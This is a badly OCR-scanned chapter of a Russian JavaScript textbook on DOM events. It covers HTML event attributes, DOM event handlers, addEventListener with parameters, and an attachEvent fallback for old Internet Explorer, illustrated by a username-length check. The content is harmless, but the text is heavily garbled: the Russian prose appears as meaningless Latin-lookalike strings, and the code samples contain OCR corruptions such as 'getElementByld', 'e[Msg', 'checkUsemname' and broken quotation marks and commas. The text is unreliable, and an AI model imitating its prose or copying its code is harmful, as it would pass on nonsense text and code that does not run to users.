Hanpumep, kog <a
onclick="hide()"> o3Hauaer,
4YTO KOrAa NoNb30BaTESb Ha-

XXMeT Ha AaHHbI 31eMeHT
a, A0/1XHa ObITb BbI3BaHA

byHkuyus hide().

ST0T noAxoA 60o/blue He
npuMeHseTcs, Tak Kak Te-
nepb NPUHATO OTAENATL KOA
JavaScript oT HTML. Jlyywie
no/sb30BaTbCA APYrMMU
cnocobamu, onMcaHHbIMMU
Ha 3ToW CcTpaHuLe.

COBbITUA

TpagnunoHHble 06-
PaboOTUUKM COOBLITUN,
MCMOJb3yeMble Ha
yposHe DOM

Cm. c. 258.

ObpaboTymku cobbITui,
B3aumogencTaytoLme

c DOM, 6biv onmncaHbl yxe
B nepBon cneyndukaymm
06BEKTHOW MOAENN A0KY-
meHTa. OHu cumTatoTca 6o-
nee NpeanoyYTUTENbHBIMU,
yemMm 06paboTunkm cobbiThin
ansa HTML, nockonbky
NO3BOJIAIOT OTAENATH KOZ
JavaScript oT cogepxunmoro
CTpaHuubl.

Bo Bcex ocHOBHbIX 6pay-
3epax Takune 06paboTumkm
cobbITU NnogaepxmnsatoTca
OYeHb XxopoLlo. [NaBHbIN NX
HeAOoCTaToK 3ak/toyaeTcs

B TOM, YTO K Ka>XZ0MY KOH-
KpeTHOMY COBbITUIO MOXHO
npuBs3aTb BCEro oaHy GyH-
Kumto. Hanpumep, cobbiTue
oTNpaBkn GOpPMbl HE MOXET
NHULMMPOBATb CHavana
$yHKUMIO, NPOBEPSIOLLYIO
BBEAEHHYI0 NO/Ib30BaTENEM
nHdopmauuio, a 3aTem apy-
ryH0, OTCbINAKOLLYIO faHHble
13 GOPMbI, EC/IN OHU HOP-
MasibHO NPONAYT NPOBEPKY.

3T0 OrpaHuyeHne Npmeo-
ANT K TOMY, 4TO €C/IM Ha
CTpaHuLe UCMOoNb3yTCH
ABa cueHapus unm 6onblue,
pearmpyroLimx Ha 04HO 1 TO
e cobbIThe, OHN MOTYT pa-
60TaTb HeNpeACkasyembim
obpasom.

CnywaTtenu cobbiTumn
DOM ypoBH4A 2

Cm. c. 260.

CayLwaresm cobbiTuiino-
ABUANCH B OOHOBNEHHOWN
cneyndukauymn DOM (DOM
YypOBHSA 2), BbilLeALLei

B 2000 roay. B HacTosILee
BPEMS 3TOT MexaH13m
06paboTkm cobbITUIN cunTa-
eTca Hanbonee npeanoyTn-
TeNbHbIM.

CUHTaKkcuc Taknx obpa-
60TYNKOB OBOJIBHO CBOE-
obpaseH. B oTanune ot
TPAaAMLMNOHHbIX, OHW MO3-
BOJISIOT O4HOMY COBBITUIO
WHULMMPOBATb HECKO/bKO
yHKUMI. B pesynbraTte
CHUWXaeTCs BEPOATHOCTb
BO3HWKHOBEHMS KOHPNK-
TOB MEXAY pasINyHbiMu
cueHapuamu, paboTatoLin-
MW Ha O4HOW CTpaHuLe.

Takune 06paboTUmKm cobbl-
TUN He NoAfepXnBaloTCa

B Internet Explorer Bepcuu

8 VI HNXKe, 04HAKO Mbl pac-
CMOTPWM CcneunanbHblii 06-
XOLHOW MaHeBp ANS CTapbIx
6paysepos Ha c. 264. Paznu-
YNS B TOM, KaK T€ AN UHble
6paysepbl NoaAepXunBaioT
DOM v cobbiTHs, yckopuam
pacnpocTpaHeHune 6ubamno-
Teku jQuery. OgHako 4TobbI
NOHUMaTb, KaK OHa UCMOb-
3yeT cobbITHSA, Bbl JOMXKHbI
3HaTb, KAK UMEHHO OHU
paboTatoT.



HTML-ATPUBY Tbl OJ14
OBPABOTKWN COBbITUM
(HE NONb3YUTECH UMW)

O6paTUTe BHUMAHME: ONU-
CaHHbIN HUXKE MOAX0Z B HACTO-
Allee BpEMS CYNTAETCA MO-
panbHo ycTapeBLwUM. OgHako
c/lefyeT 3HaTb O TakuxX aTpu-
6yTax, MOCKO/IbKY OHU MOTY T
BCTPETUTbCHA BAM B KAKOM-
HMBYAb cTapom koge (CM. Ha
npeablayLien cTpaHmue).

B HTML-pa3meTke nepBbiii
3/IeMeHT input UMeeT aTpuby T
onblur (cpabaTbiBatoLLMit, KO-
[ia Nosb30BaTE b BbIXOAUT 3a
npesesbl 3/ieMeHTa). 3Have-
HUEM 3TOro aTpubyTa sBasdeT-
cst UMS GYHKLUKN, KOTOPYHO OH
[AOJIKEH 3anycKaThb.

<form method="post" action="http://www.example.org/register">

<label for="username">JloruH: </label>

<input type="text" id="username" onblur="checkUsername()" />

<div id="feedback"></div>

<label for="password">laponb: </label>

<input type="password" id="password" />

<input type="submit" value="Sign up!" />

</form>

<script type="text/javascript" src="js/event-attributes.js"></script>

JAVASCRIPT

function checkUsername() {

var elMsg = document.getElementByld('feedback');
var elUsername = document.getElementById('username');

if (elUsername.value.length < 5) {

elMsg.textContent = 'Username must be 5 characters or more';

}else {
e[Msg.textContent =";

}

}

NmeHa HTML-aTpnbyToB,
MNCMoNb3yemMblx A5 06paboT-
K1 COBbITWIA, COOTBETCTBYIOT
NMeHam cobbITWiA, Nepeymnc-
NEHHbIX Ha €. 252-253, ogHako
KaX0My Ha3sBaHWUIo cobbITUA
npeaLlecTByeT NpMCTaBKa on.

// 06bsBnsem dyHKuMio

3HayeHnsa aTpubyTOB, BbICTY-
nawLnx B kKayecTse 0bpaboT-
YUKOB COBbBITUIA, — 3TO KOA
JavaScript, 3anvcaHHbIn 1nbo
B pasZesie 3arooBka CTpaHu-
ubl, 160 B oTAebHOM darine
(kak MoKasaHo HUXe).

c06/event-attributes.html

c06/js/event-attributes.js

// Nonyyaem 3nemeHT 06paTHoii cBA3m
// Monyyaem ums, BBEAEHHOE NONb30BATENEM

// Ecnn uma nonb3oBatens CAMWKOM KOPOTKOe

// Yka3biBaen coobueHue
// MHave

// CopacsiBaem coobuienue

Hanpumep:

* 3/1EMEHTbI @ MOTYT UMETb aTpUOYTbl COBbITUI onclick,

onm ver 1 onm t;

* 3/1eMeHTbl form MOryT UMeTb aTpubyT CobbITUS onsubmit;

* 3/1eMeHTbl input MOTYT MMeTb aTpubyTbl COBLITHI onkeypress, onfocus

v onblur.

COBbITUA @



TPAOVNUNOHHDBIE .
OBPABOTUHNKW COBbITUN,
PABOTAIOLLNE HA
YPOBHE DOM

Bce coBpemeHHble bpay3epbl NoAAepKNBAOT NoA00OHbIe
06paboTUMKKM COOBLITUN, HO K TIOOOMY MOXHO NMPUKPENUTb
TO/IbKO OAHY DYHKLMIO.

Hunxe npmneedeH CUHTakKCcuc, MO3BONSAIOLLNN npuBA3aThb cobbiTne
K231eMeHTY Npu nomMoLuin o6pa60TqMKa M yKa3aTb, Kakas d)yHKLl,MFI
AOJI>XXHa 3anycKaTbCd Npwn CDa6aTbIBaHVIVI cobbITns.

3/1EMEHT.ONCOObITUE = UMADYHKLNN,
L L ]

COBbITUE Koa

3NEMEHT

Y3enanemeH- CobbiTune, cBazaHHoe Wms GyHKUMM 414 Bbi30OBA
Ta DOM,
KOTOPbIN Mbl

cyznom (ysnamn), (nocne umeHn dyHKUNM

C NpUCTaBKOM on HeT ckobok)

Bblgensgem

B HMXenpuBegeHHOM Koge 06- Ecnivi 3a BbI3bIBaEMOMN YHK- ne cpabaTbiBaHNS COOLITUSA.

paboTumK COBbITUI HAXOAUTCS
B nocsieaHen ctpoke (yxe
nocse onpegenexHus GyHKLUN
1 Bbibopa y3na (y3no.) ane-
meHTa (anemeHToB) DOM).

function checkUsername() {
// KoL, NpOBepAIOWYil LMHY UMEHM NONb30BATENA

umen nayT ckobku, To UHTep-
npeTaTop 4OJIXEH Cpasy Xe
BbIMOHUTb 3aMNMCAHHbIN B HUX
koa. Ham TpebyeTcs, 4TobbI
KOZ BbIMOJHUACS TONBKO NOC-

1

Mo3ToMmy B nocneaHemn cTpoke
c 06paboTynKom cobbITUm
CKOBKM He cTaBATCS.

Koa HaynHaeT-
ca conpegene-
HUS UMEHOBaH-

HOW GYHKLMN.
B nocneaHen
cTpoke obpa-
60T4YMK CObbI-
TWUI Bbl3blBaeT

Ccbinka

a/emMeHTa }

za'ica)c’\ﬁy}o —{ var el = document.getElementById('username’);
coxpansetcs  el.onblur = checkUsername;

BrnepemMeH-

HOMbI. Mma cobbiTMa CONPOBOXAaeTCA MPUCTaBKOM on

dyHKLMIO, HO
CcKOBKMN B AaH-
HOM C/lyyae He
cTasaTCA

MpuMepbl aHOHUMHON GYHKLNM 1 MapaMeTprU30BaHHON GyHKLMM NokasaHbl Ha C. 262.

@ COBbITUSA



B faHHOM Npumepe obpa-
60TYNK COBBITUN HAXOAUTCA
B Moc/efHen cTpoke.

Mpexzae yem NepenTn K 06-
paboTuMKy, HY>XHO OTMETUTb

NCIOJIb3SOBAHUE

OBPABOTHNKOB
COBbITNI DOM

1. Ecnv npu cpabaTbiBaHUK
CcobbITVA Ha BbIGPAHHOM BamMm
y3n1e DOM Bbl ucnonbsyete
NMEHOBaHHY0 GYHKLMIO,

TO cHayana HanuwuTe ee (B
AAHHOM C/lyYyae Tak>Xe MOXHO

2.Y3ensanemeHta DOM coxpa-
HSeTCa B nepeMeHHON. B gan-
HOM C/lyYae TEKCTOBbIZ BBOA
(4en aTpmnbyT id MeeT 3Haue-
HWe username) 3anuncoiBaeTcs

B nepemMmeHHoN elUsername.

ellle ABe 0COBEeHHOCTU Koaa.

JAVASCRIPT

[ function checkUsername() {

6b1710 6bl BOCMOJ/Ib30BATHCA
AHOHUMHOM byHKLMEN).

c06/js/event-handler.js

// 06bABAAEM DyHKUMIO
var elMsg = document.getElementById(‘feedback'); // Nonyuaem anemeHT 06paTHOI CBA3N
if (this.value.length < 5) { // Echu umMa nonb3oBatens CIMWKOM kopoTKoe
@— elMsg.textContent = ' ms nonb3oBatens ROMKHO COAEPKATH He MeHee 5 CUMBONOB'; // YkasbiBaem coobLieHi e
}else { // VHave

elMsg.textContent="; // CopactiBaem coobLyeHme

}
}

@ var elUsername = document.getElementByld(‘username'); // Monyyaem ums, BBefeHHOe N0Ab30BaTENEM

@ elUsername.onblur = checkUsername; // TNpw Bbix0zZe 3neMeHTa U3 dokyca Bbi3Bath dyHKuuio checkuserName()

Y3en anemeHTa DOM coxpaHsi-
eTcsa B nepeMeHHON. B faHHOM
c/ny4yae TeKCTOBbIN BBOA (Yen
aTpmbyT id uMeeT 3HauYeHune
username) 3anmnCbiBaeTCs B Me-
pemeHHoM elUsername.onsubmit,
onchange, onfocus, onblur,
onmouseover, onmouseout 1 T.4.).

3. B nocneaHen cTpoke koAa,
npuBeAEHHOro BblLle, 0bpa-
60TUMK CObbITUI elUsername.
onblur ykasbiBaeT, 4TO KOA4
aoxunaaerca cobbiTusd blur,
KOTOpOE A0NXKHO cpaboTaTb
Ha 3/1leMeHTe, COXpaHEHHOM
B nepemeHHow elUsername.

3aTeM MAeT 3Hak paBeHCTBa
N M8 GyHKLMK, KoTopas

J0N1XHa BbITb BbINMOIHEHA,
Korga Ha JaHHOM 3/IeMeHTe
npousongeTt oxungaemoe
cobbiTre. ObpaTnTe BHUMa-
HWe: noc/ie UMeHU GyHKLMK
HeT ckobok. Takum obpazom,
e HeNb3s COobLNTb apry-
MEHTbI. EC/1M Bbl XOTUTE Me-
pesaTtb apryMeHTbl GyHKLMK,
Haxoadllenca B obpaboTumke
CcobbITUI, YNTaNTe 06 3TOM Ha
C.262.

HTML-koa naeHTM4YeH noka-
3aHHOMY Ha c. 257, 3a ucknto-
YyeHnem aTpubyTa cobbiTUS
onblur. Takum obpasom, obpa-
60TUMK COBBITUM NCMONb3YET-
caBJavaScript,aHe BHTML.

Moapepikka 6paysepa-

MU. B cTpoke 3 dyHKLMA
checkUsername() ncnonosyet
KatoYeBoe c/10Bo this B ycnos-
HOW MHCTPYKLWK, NpoBeEpPSA
TakMm 06pa3om, CKOJIbKO CUM-
BOJIOB BBeJ1 No/Ib30BaTesb. OHa
paboTaeT B 6onblUMHCTBE Bpa-
y3€epoB, Tak Kak OHWU «3HATY,
4YTO KJIto4eBOe C10BO this OTHO-
CUTCS K 39NEMEHTY, Ha KOTOPOM
NpOM30LL/IO COBbITUE.

Mpaeaa, B Internet Explorer 8

1 BEPCUWN HUXE KOYEBOE C/I0BO
this byeT UHTepNpeTMpoBaTbCS
Kak OTHOCSILLeecs K 06bekTy
window, 1 6pay3ep «He NonMeTY,
Ha KaKoM 3/1eMeHTe Npomn3oLLI0
cobbiTvie. COOTBETCTBEHHO, OH
He HanAeT 3HayeHune, ANIVHY
KOTOPOro A0/XeH byeT npoBe-
pUTb, Y BbIAACT OLLNGKY. PeLue-
HWe Takol NpobaemMbl paccmoT-
peHo Ha c. 270.

COBbITUA



CNYLUATEJI COBbITUWU

PaboTa co cayLaTensaMm — CpaBHUTEIbHO HOBbIV NOA-

X0/, K 0bpaboTke cobbiTun. CnywaTen MoryT oZHoBpe-
MEHHO ONeprpoBaTb HECKOIbKUMW PYHKLIMSAMMU, HO OHU

He MoAJepX1BatTCA B CTapbix bpaysepax.

Huxe nprBegeH CUHTAKCUC NPUBA3KM COBbITUS K 3/IEMEHTY
npv NoMoLLmM cayliatens. JlaHHbli Ko yKasbiBaeT, kakas
GYHKUMA 0/1KHA BbINOHUTLCA NPW cpabaTbiBaHUM COObITUS.

JobaBnaeT cnywaTens cobbiTuii K y3ay (yanam)

anemeHTa (3nemeHToB) DOM

METO[
|

anement.addEventListener(' cobbiTue', uma®@yrkyun [, nornyeckoe3Haqennel);
L 1L 11 1

[ [

3JIEMEHT COBbITUE Kopa NOTOK COBbITUN
Y3enane- CobbiTHe, K KO- Mg BbI3biBae- O603HavaeT aBsieHne,
meHTa DOM, TOpOMY NpUBS- MO dYyHKLMUM Ha3blBaemMoe nepexsa-
KOTOpbI/ Mbl 3bIBaeTCA y3en TOM CObbITUS; 0O6bIYHO
BblOMpaem (y3nbl) — HasBa- ycTaHaBAmMBaeTcs
HUe B KaBblykax B false
Koa Haun-
HaeTcs c on-
pesenexus
. MMEHOBAHHOM
function checkUsername() { | byHKLMM
// KOR &Nt NPOBEPKY [AMHBI UMEHU NOJb30BATENS
Ccblnka
Ha y3en } B nocneaHen
anementa  — var el = document.getElementById('username'); gTDOKe o6ga—
. OTYMK COBbI-
ia'igc'\ﬂy’o el.addEventListener('blur', checkUsername, false); TUI BbI3bIBAET
coxpaHseTcs - dyHKLMIO, HO
B NepemeH- Nmsa CO6bITI/IFI conpoBOXAaeTca NnpucTtaBskonm on CKO6KVI B laH-
HOW HOM c/lyyae He

CTaBAaTCH

Mprmepbl aHOHUMHOM GYHKLWM Y NapaMeTpU30BaHHOM GYHKLMM MOKasaHbl Ha C. 262



MCMOJIb3OBAHUE
CNYLLUATEJIEN COBbITUN

B faHHOM npumepe obpa-
B6OTYNK COBBLITUA HAaXOANTCA
B nocneaHemn ctpoke. Mpe-
XJe YeM nepenTn Kk obpa-
60TUYMKY COBOBITUI, HYXKHO
OTMEeTUTb ABe 0COBEHHOCTM
3TOro KoAa.

JAVASCRIPT

[ function checkUsername() {

1. Ecnv npu cpabaTbiBaHUK
CcobbITVA Ha BbIGPAHHOM BamMm
y31e DOM Bbl ucnonbsyete
NMEHOBaHHY0 GYHKLMIO,

TO CHavyana HanuwwuTe ee (B
AAHHOM C/lyyae Tak>Xe MOXHO
6b1710 H6bl BOCMO/I30BATHCA
AHOHUMHOM bYHKLMEN).

// 06bABAsEM ByHKLMO

2. Y3enanemeHta DOM
COXpaHAeTCs B NeEPEMEH-
HOW. B AaHHOM cny4yae Tekc-
TOBbIV BBOZ (Y4er aTpmbyT id
MMEEeT 3HaYEHME username)
3amnncbiBaeTCs B MepeMeH-
Hol elUsername.

c06/js/event-listener.js

var elMsg = document.getElementById('feedback');
if (this.value.length < 5) {

elMsg.textContent = 'Mima nonb3oBatens LOMKHO COLEPATb He MeHee 5 CUMBONOB';

}else {
elMsg.textContent =";

}

// NMony4aem 3nemeHT 06paTHoi BA3N

// Echm ums nonb30BaTens CAULKOM KOpOTKOe
// Yka3siBaem coobuenme

// MHave

// Copactisaem coobuerme

L}

@ var elUsername = document.getElementByld('username’);

elUsername.addEventListener(‘blur', checkUsername, false);

O @ @

MeTog addEventListener() npu-
HVMaeT TpM CBOMCTBA:

i) cobbiTne, Ha Npuem
KOTOPOro Mbl HACTPanBaem
cnywaTtenb, B AaHHOM
cnyyae — blur;

ii) Koz, KoTopbIN
TpebyeTcs BbIMOMHUTb MNPy
cpabaTbiBaHUM COBLITUS;
3/4eCb 3T0 GyHKLUNS
checkUsername() (o6patute
BHMMaHMe: Mpu Bbl30BE
dYHKLMM OTCYTCTBYIOT
CKOBKW, Tak Kak npwu

nX Hanmuum byHKUns
BbIMOJIHUAACH Bbl Cpasy nocse
3arpysKku CTpaHuLbl, a He

B MOMEHT MHTEpeCyioLLero
Hac cobbiTua);

iii) nornyeckoe 3HauyeHue,
XapakTepusyioLLee NoToK
cobbiTum (CM. c. 266); 06bIYHO
OHO ycTaHasmBaeTcs B false.

// Nonyyaem uws, BBeAeHHO NOAb30BaTENEM
// Tipw BbiX0Ae 3neMeHTa U3 hokyca Bbi3BaTb GyHKuMio checkuserName()

NOLOEPYKKA
BPAY3EPAMY

B Internet Explorer Bepcun 8
N HUXXE He NoAAepXunBaeT-
cs meTo/ addEventListener(),
OfiHaKo noagepxuBaeTcs
Apyrov metog, attachEvent().
O paboTe C HUM Mbl MTOrOBO-
pUM Ha C. 264.

Kak 1 B npeabiayLiem
npumepe, 6paysep Internet
Explorer Bepcuun 8 1 Huxe
«He MoMMeT», K YeMy OTHO-
cuTcs Kntvesoe cnoBo this
B YC/NIOBHOW MHCTPYKLUN.
AnbTepHaTUBHbIN cnocob
paboTbl B TaKMX CAyYasnx
OonuncaH Ha c. 276.

MMEHA COBbITUN

B oT/inume ot 06paboTymkos
CcOBbITUI, UCNONb3YEMbIX

B A3blke HTML n Ha ypoBHe
DOM, B faHHOM c/yyae
npucTaBKa on He CTaBUTCA
nepeg MMeHem Toro cobbl-
TWS, Ha KOTOPOE JOJIXKEH
pearmpoBaTb Balll KOA.

Ecnu TpebyeTtca yaa-

NINTb CAyLLATENb, AN

3TOrO CyLLecTBYeT cre-
umnanbHas GyHKUNS
removeEventListener(). OHa
yAanseT caywaTenb cobbi-
TWUI C yKa3aHHOro a/1eMeHTa
(M UMeeT Takue xe napa-
MeTPpbl, KaK 3TOT 3/IEMEHT).

COBbITUA



NCIOJ1Ib3OBAHWE
[MAPAMETPOB

C OBPABOTHMKAMNU
N CIYLWATEJTAMUA
COBbITNW

[Mockonbky Npu obpalleHnn c obpaboTumkamm 1 caytLia-
TeNAMM CObbITUI Helb35 CTaBUTb CKOOKWM NOC/Ie UMEHM
dyHKUMKM, ANA Nepefiadyn el apryMeHTOB NPUXoOANTCA
NPUMEHSATb 00XOAHON MaHeBp.

Kak npaswuo, ecnv and Bbl-
NOJIHEHWS MOCTAB/IEHHON
3agaun dyHkuMmM TpebyeTcs
Kakana-nmbo nHbopmaumsa, Mol
coobujaem byHKLUMK apry-
MeHTbl. OHU NepeuyncnsoTcs
B ckobKax, caeaytouimx 3a
nmeHem byHKLUN.

Korga nHTepnpeTatop BCTpe-
YyaeT ckobku, uayume nocsie
MMEHU BbI3BAHHON UM YHK-
LMK, OH Cpasy Xe BbIMNOSHSAET
ee koa. B cnyyae c obpaboT-
YMKOM CODBBITUS HaM 3TO He
HYXXHO; GYHKUMA J0XKHA 6bITb
BbIMOJIHEHA TO/IBKO Noc/e
TOro, Kak NpoM3onAeT onpege-
JleHHoe cobbITueE.

ViIMs  Hayano aHOHVMMHOM

cobbiTna  byHKUMHK

CneposaTesibHO, ecniv Tpeby-
eTCs CoObLNTb apryMeHTbI
Takow dyHKUMK, KoTopas
BbI3bIBAeTCS 06paboTYMKOM
WK cnylaTtenem cobbitmi,
Mbl 060paynMBaem ee BbI3OB

B Tak Ha3blBAaEMYO aHOHUM-
HY't0 pyHKLMIO.

AHOHUMHasA byHK-
L1g Mcnonb3yeTtcs
B KayecTBe BTOPOro

aprymMeHTa; B Hee

VImeHOBaHHas

byHKuMAa el.addEventListener('blur', function() { W
coAepXnT ckobku, checkUsername(5);

nayLive nocne } false)' J
MMeHW; B cKobkax 4 4

obepTbiBaeTCA
MMeHoBaHHas

yKasblBaeTcs napa- ‘
PyHKUNSA

meTp
KoHel MHCTpyKUun

Koneu meToza addEventListener()

Jlornyeckoe 3HauyeHune, xapak-
Tepusytoliee NoTok cobbITUiN
(cm. c. 266)

KoHew aHOHMMHOM byHKLMK

MNMeHoBaHHas dyHKUKS, Tpe-
bytollas apryMeHToB, 3aK/o-
YyeHa B aHOHUMHOW PYyHKLMW.

X0oTSy aHOHUMHOMN PYHKLMK

1N ecTb CKOBKM, OHa 3anyckaeT-
€S TONIbKO Noc/ie cpabaTbiBa-
HUA cobbITUA.

MMeHoBaHHasa GyHKUNS
MOXEeT UCMOo/b30BaTh apry-
MEHTbI, MOCKOJIbKY OHa BbIMNOJI-
HSieTCs TOJ/IbKO NOC/E BbI30Ba
AHOHVUMHOW GYHKLUUN.



NMAPAMETPbI
CNYLLUATEJIEN COBbITUN

B nepBol cTpoke NpuBeAEHHOrO 34eCb NpUMe- 3HayeHune, nepegaBaemoe B GyHKLMIO

pa nokasaHa 06HOB/IEHHasi Bepcusa dyHKLMK checkUsername(), ncnonb3yeTcs B yC/10BHOM
checkUsername(). lMapameTp minLength yka3biBa- WHCTPYKLUMMK, YTOObI MPOBEPUTD, JOCTATOYHYO
eT MUMHUMAa/IbHOE KONMYeCTBO CMMBOJIOB, U3 NV ANNHY UMEeEeT UMS Mo1b30BaTe1d. Ecnv oHO

KOTOPbIX AOJIXHO COCTOATb MMS MOJIb30BATENA.  CJMLIKOM KOPOTKOE, BbIBOAUTCS COOTBETCTBY-
loLee coobuieHune.

JAVASCRIPT c06/js/event-listener-with-parameters.js

var elUsername = document.getElementByld('usemame'); // MNonyyaem BBefeHHOE UMs NOAb30BaTENS!

var elMsg = document.getElementByld('feedback'); // Nonyyaem 3nemeHT 4ns 06paTHoi caA3u
function checkUsername(minLength) { // O6baensem hyHKumo
if (elUsername.value.length < minLength) { // Ecnv ums monb30BaTens CAMLWKOM KopOTKoe

// 3apaem coobuerme 06 ownbke
elMsg.textContent = 'Username must be '+ minLength + ' characters or more';

}else { // WHave

elMsg.innerHTML =", // C6pacsiBaen coobuetme

}

}

elUsername.addEventListener(‘blur', function() { // Korgia anemeHT BbIxoguT 13 dokyca

checkUsername(5); // 3Becs nepefaem aprymeHTbl

}, false);
CnywaTtenb cobbITUIA B NOCAEAHNX TPEX CTPO- Ans nonyyeHuns sTon nidopmauum cayiatens
Kax A/IMHHee, YeM B MpeabiAy X Npumepax, CObBbITUIN NCMOJIb3YeT aHOHUMHYO GYHKLMIO,
MoCKOJIbKY B Bbi3oBe dpyHKLMM checkUsername() AEeVCTBYOLLYIO B KayecTBe 06epTku. BHYyTpu
[LO/IXHO COAepXaTbCs 3HaYeHNe NapameTpa Hee Bbi3biBaeTCst PyHKUMS checkUsername(),
minLength. KOTOpOW NepesaeTcs apryMeHT.

Moaaep>xka 6paysepamu: Ha cneaytoLlen
CTpaHuLe Mbl NOFOBOPMM O TOM, 4YTO AenaTb

B 6pay3epax Internet Explorer Bepcum 8 n Huxe,
rae oTCyTCTBYET NoAAepiKKa cayLlaTenen co-
ObITHN.

COBbITUA



NOALEPXXKA CTAPDBIX
BEPCUW BPAYI3EPA
INTERNET EXPLORER

B cTapbix Bepcuax bpaysepa Internet Explorer (5-8) aenc-
TBOBasa MHaa MmoAesib paboTbl C COObITUAMMK, B KOTOPOW
He nogaep>xunsanca metoZ addEventListener(). CeroaHs
HY>XHO MMCaTb CNeUnanbHbIn KO OTKaTa, MO3BOSIOLLNN
MCMNO/Ib30BaTb CAYLLIATENM CODbITUM B CTapbiX BEPCUAX

Internet Explorer.

B 6paysepax Internet Explorer 5-8 He nogae-
pxusanca metoz addEventListener(). Bmecto
Hero 6pay3sep MCNob30Bas COBCTBEHHbIN Me-
Tog attachEvent(), AeMcTBOBaABLUNIM aHaNOrMYHO,
HO AOCTYMHbIN ToNbKO B Internet Explorer. Ecan
Bbl X0TUTe paboTaTb Co CAyLlaTensamm cobbl-
TURN, HO MPUN 3TOM AO0XHbI 06€CNeYNTb NoAae-
pxKy Internet Explorer Bepcum 8 n HUXe, Moxe-
Te BOCMO/Ib30BaTbCS YC/IOBHON MHCTPYKLMEN,
KaK MokasaHo HUXe.

Ecnu 6paysep noa-
AepXunBaeT MeTos
addEventListener()

Mpy noMoLLM YCAOBHOW MHCTpYKLNK if... else
MOXHO MPpOBEPUTL, NOAAEPXMNBAETCA N

B 6pay3epe MmeTo/ addEventListener(). Ycnosue,
3aKJ/lloueHHOoe B MHCTpyKUuK if, pesynbTupyeTt

B true, ecqiv 6paysep nogAepxXnBaeT MeToz
addEventListener(), n Torga Bbl MOXeTe ero nuc-
noab30BaTh. B NpoTNBHOM Cc/lyyae 3Ta MHCTPYK-
uma pesynbTupyert B false, 1 koA nonbiTaeTca
ncnonb3oBaTb MeToy attachEvent().

if (el.addEventListener) {

el.addEventListener('blur', function() {

BbINONHUTL KOA, checkUsername(5);
3aK/1l0UEHHbI
B 3TUX PUrYPHbIX }, false );
ckobkax
Ecnu He noaepu- } else {

BaeT — NOCTYyNnUTb

vrane el.attachEvent('onblur', function() {
BbINOAHNTL KOA, checkUsername(5);
3aKJ/IIOYEHHbIN .
B 3TUX GUTYPHbIX IOk

ckobkax

Mpu NprMeHeHUN MeToza attachEvent() nepeg uMeHeM cobbITUA A0/IKHA YKa3biBaTbCs MpUCTaBKa
on (Hanpumep, blur npeBpattaeTca B onblur). B rnase 13 6ygeT paccMoTpeH WHOW cnocob noaae-
pPXXKW, MO3BONAKLMUN paboTaTb C MOZEe/bio COBbITUM U3 cTapbix Bepcuit Internet Explorer (c npume-

HeHvem ciyxebHoro danna).

@ COBbITUSA



NPUMEHEHWE
CNYLLUATEJIEN COBbITUN
B INTERNET EXPLORER 8

JlaHHbIV TMCTUHT OCHOBbIBAETCS Ha npegbigyLliem
npnmepe, HO CyLLeCTBEHHO NPEBOCXOAUT €ro no

O6'beMy. Jeno B TOM, 4TO TEenepb OH COAEPXUT KOA

oTKaTa, noaaepxuBatoLmincs B bpaysepe Internet
Explorer Bepcun 5-8.

Mocne dyHKLMM checkUsername() ykasbiBaeTcs
yCnoBHas MHCTpyKUKS if, npoBepsatoLan, nogae-
p>xuBaeTca nn metog addEventListener(). MHCTpyk-
unsa if pesynbTupyeT B true, eCNV y3en aNeMeHTa
noAAepXnBaeT 3TOT METOZA, B MPOTMBHOM C/y4ae
OHa pe3ynbTupyeT B false.

JAVASCRIPT

var elUsername = document.getElementByld('username"); // Monyyaem ums, BBEAEHHOE NOAb30BATENEM

var elMsg = document.getElementByld(‘feedback’);
function checkUsername(minLength) {

if (elUsername.value.length < minLength) {

}else {
elMsg.innerHTML ="

}
}

if (elUsername.addEventListener) {
elUsername.addEventListener('blur', function(){
checkUsemname(5);
}false );

}else {

elUsername.attachEvent(‘onblur', function(){
checkUsername(5);

1
}

// 06vaBAsem dyHKLUIO
// Ecnu ums nonb308aTens CAMILKOM KOpoTKOE

Ecnn bpaysep noaaepxvBaeT MeToz
addEventListener(), TO KOZA, 3aKNOYEHHbIV B Nep-
BOW Nape GUrypHbIX CKOBOK, BbIMOIHSETCS

C ucnosib3osaHvem meToza addEventListener().

B npoTuBHOM cnyyae 6pay3ep byaeT ncnonb-
30BaTb MeToz attachEvent(), coBMecTUMbIN

CO CTapbiMu BEPCUSIMU Nporpammsl Internet
Explorer. B nocnegHem cnyvae He 3abyabTe ne-
pes vMeHeM CcobbITUS yKaBaTb MPUCTABKY on.

c06/js/event-listener-with-ie-fallback.js

// Monyyaem anemeHT 06paTHOit CBA3M

// YcraHasnusaem cooblieHue
elMsg.innerHTML = 'Wna nonb30BaTens LonxHo copiepxars He Mexee '+ minLength +' cumsonos';

// MHave

// MHave

Ecan TpebyeTca LeHTpaiM30BaHHO NOALEPXMN-

BaTb 6paysep Internet Explorer 8 (unn 6onee
CTapbix BEPCUIN), @ HE CO3AaBaTb TakoW KOA
oTKaTa 418 KaxXZ40ro cobbiTus, TO NyyLUe Ha-

nucatb cobcTBeHHY0 dyHKLMIo (06bIYHO Takme

beHKLl,VIVI Ha3blBakTCA BCI'IOMOI'aTe}'IbeIMVI),

KoTopas byaeT cozgaBaTb HYXXHbI 06paboTUMK

cobbITnI 3a Bac. Mogo6HbIN NpUeM Mbl MoOKa-
XeM B rnase 13, rae obcyxaaeTcs ynyylleHme
1 Bannaaums Gopm.

// Copacwisaem coobueHue

// Ecnu cnywarens cobbiTuii nopnepxveaeTca

// Korpa uma nonb3oBatens BbIXORHT U3 dokyca

// BuizbiBaem dyHkuuio checkUsername()

// 3axBaTbiBaem pe3ynbTar Ha Tane BCTAbIBAHHA COBBITHA

// Micnonb3yenm kop otkara s Internet Explorer: onblur
// BoizviBaem dytkuuio checkUsername()

KoHe4HO, BaXXHO MOHMMaTb CUHTaKCUC, UC-
nonb3yembiin B 6paysepe Internet Explorer Bep-
CUN 8 1 HUXKe, YTODbI 3HATb, MOYEMY B TEX UM
WHbIX CIy4asix NPUMEHSIeTCS BCMOMOraTesibHas
GYHKLMSA, N YTO OHa AenaerT.

B cnepytolen rnaBse Mbl paCCMOTPUM elLlie
OAHY pa3HOBUAHOCTb KpoccbpaysepHon He-
COBMECTUMOCTM, KOTOPYIO YA406HO yCTpaHATb
npu nomoLym 6ubnnoTtekm jQuery.

COBbITUA



NMOTOK COBbITUM

OaHn HTML-3n1eMeHTbl MOTyT ObITb B/IOXKEHbI B Apyrue.
Ecnn HaBecTn ykasaTesib MbILLUU Ha TMNEPCChISIKY, Bbl
Tak>e npojesniaeTe 3TO U C ee poaNUTENbCKUMMN S/IEMEH-

